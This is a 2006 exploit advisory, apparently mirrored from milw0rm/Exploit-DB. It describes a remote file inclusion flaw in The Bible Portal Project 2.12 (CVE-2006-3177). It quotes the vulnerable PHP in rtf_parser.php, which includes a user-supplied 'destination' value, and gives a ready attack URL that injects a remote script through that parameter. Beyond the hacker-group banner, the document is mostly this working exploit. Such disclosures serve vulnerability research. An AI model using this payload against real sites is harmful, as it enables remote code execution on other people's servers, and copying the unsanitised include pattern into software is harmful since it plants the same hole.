Exploit The Bible Portal Project 2.12 - 'destination' File Inclusion

[Exploiter]

EDB-ID

1912

Проверка EDB

1. Пройдено

Автор

KACPER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-3177

Дата публикации

2006-06-14

$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  The Bible Portal Project (destination) <= 2.12 Remote File Include Vulnerability
$$  script site: http://www.bibleportalproject.com/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: [email protected]   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

#rtf_parser.php:
/*
$read = preg_replace("/~ulnone/", "", $read);
$read = preg_replace("/~line/", "

\n", $read);
$read = trim($read);

fwrite($file, "$read\n");
fclose($file);


include"WeBelieveAEForm.inc";

echo"$add_form";
include"$destination.txt";
echo"
$add_form1
$html_guide
";
unlink("$destination.txt");
*/
#Expl:


http://www.site.com/[tbpp_path]/Admin/rtf_parser.php?destination=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-14]